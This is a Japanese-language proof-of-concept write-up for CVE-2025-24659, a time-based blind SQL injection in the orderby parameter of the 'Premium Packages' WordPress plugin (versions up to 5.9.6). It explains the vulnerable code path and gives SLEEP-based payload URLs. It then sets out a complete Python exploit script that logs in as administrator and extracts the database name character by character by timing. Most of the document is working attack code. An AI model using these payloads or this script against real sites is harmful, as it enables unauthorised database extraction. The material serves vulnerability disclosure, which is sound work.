
CVE-2025-24659 の PoC
WordPress プラグイン
コンポーネント名 Premium Packages – Sell Digital Products Securely
影響を受けるバージョン <= 5.9.6
コンポーネントスラッグ wpdm-premium-packages
コンポーネントリンク https://wordpress.org/plugins/wpdm-premium-packages/
脆弱性クラス A3: Injection
脆弱性タイプ SQL Injection
管理者
Premium Packages - Sell Digital Products Securely プラグイン(以下、Premium Packages プラグインと呼びます)のバージョン5.9.6以下には、SQLインジェクションの脆弱性が存在します。これは、プラグインのダッシュボードにある注文メニュー(/wp-admin/edit.php?post_type=wpdmpro&page=orders)で注文リストを表示する際に、URLパラメータ orderby のエスケープ処理が不十分であるために発生します。
その結果、管理者権限を持つ攻撃者がこの脆弱性を悪用して、対象サイトのデータベースに保存されているすべての情報にアクセスできる可能性があります。
さらに、このSQLインジェクションの脆弱性では、レスポンスデータから直接データを取得することはできませんが、SQLクエリの条件が真/偽である場合の応答時間の差を利用したTime-Based Blind SQL Injection(時間ベースのブラインドSQLインジェクション)の手法により、情報を抽出することが可能です。
Premium Packages プラグインがインストールされ有効化されている WordPress サイトに、管理者としてログインします。
Premium Packages プラグインは Download Manager プラグイン(https://wordpress.org/plugins/download-manager/)のアドオンであるため、Download Manager プラグインもインストールして有効化しておく必要があります。
以下のURLにアクセスすると、SQLクエリの条件(1=1)は常に真となるため、SLEEP(5) 関数により5秒後にページが表示されます。
http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=1,(SLEEP(5)),0))

1=2)は常に偽となるため、ページは即座に表示されます。http://localhost:8080/wp-admin/edit.php?post_type=wpdmpro&page=orders&orderby=1,(IF(1=2,(SLEEP(5)),0))

Premium Packages プラグインの注文リストダッシュボードをリクエストすると、ファイル /wp-content/plugins/wpdm-premium-packages/includes/menus/templates/orders/list-orders.php が実行されます。
このとき、URLパラメータ orderby の値は適切なエスケープ処理が行われずに変数 $orderby に代入されます。その後、変数 $orderby は変数 $qry に渡され、SQLクエリのORDER BY句を構成します。

次に、変数 $qry は関数 totalOrders および GetAllOrders の引数として渡されます。
これらの関数はファイル /wp-content/plugins/wpdm-premium-packages/includes/libs/Order.php で定義されており、受け取った引数の値はデータベースクエリで直接使用されます。

したがって、URLパラメータ orderby の値がエスケープ処理されずにデータベースクエリで直接使用されるため、SQLインジェクションの脆弱性が発生します。

次に、以下のコマンドを入力してPoCコードを実行します。
必要なモジュールrequests
python poc.py

import re
import time
import string
import requests
## To set up a proxy, enter the server address below.
PROXY_SERVER = None
proxies = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
SLEEP_TIMER = 1
def __login_get_session(login_id, login_pw):
session = requests.session()
data = {
"log": login_id,
"pwd": login_pw,
"wp-submit": "Log In",
"testcookie": 1
}
resp = session.post(f"{TARGET}/wp-login.php", data=data, proxies=proxies)
if True in ["wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()]:
print(f" |- Successfully logged in with account {login_id}.")
return session
else:
raise Exception(f"[-] Failed to log in.")
def poc_get_db_length(session):
length = 1
while True:
payload = f"1,(IF(LENGTH(DATABASE()) = {length},(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) < SLEEP_TIMER:
print(f" |- Database name length is greater than {length}.")
length += 1
else:
print(f" |- Database name length: {length}")
break
return length
def poc_get_db_name(session, db_length):
db_name = ""
for i in range(1, db_length+1):
for char in string.ascii_letters + string.digits:
payload = f"1,(IF(SUBSTR(DATABASE(),{i},1)=CHAR({ord(char)}),(SLEEP({SLEEP_TIMER})),0))"
params = {
"post_type": "wpdmpro",
"page": "orders",
"orderby": payload
}
start_time = time.time()
session.post(f"{TARGET}/wp-admin/edit.php", params=params, proxies=proxies)
if (time.time() - start_time) > SLEEP_TIMER:
db_name += char
print(f" |- Database name: {db_name.ljust(db_length, '*')}")
break
print(f" |- Successfully extracted the database name: {db_name}")
def poc():
####
## 1. Log in as administrator
####
print(f"[+] Logging in with administrator account.")
print(f" |- Account: {ADMIN_ID}, Password: {ADMIN_PW}")
admin_session = __login_get_session(ADMIN_ID, ADMIN_PW)
admin_session.get(f"{TARGET}/wp-admin/", proxies=proxies)
###
## 2. Retrieve database name length
###
print(f"[+] Retrieving database name length.")
db_length = poc_get_db_length(admin_session)
###
## 3. Retrieve database name
###
print(f"[+] Retrieving database name.")
poc_get_db_name(admin_session, db_length)
if __name__ == "__main__":
## WordPress Target
TARGET = "http://localhost:8080"
## Administrator ID/PW
ADMIN_ID = "admin"
ADMIN_PW = "admin"
poc()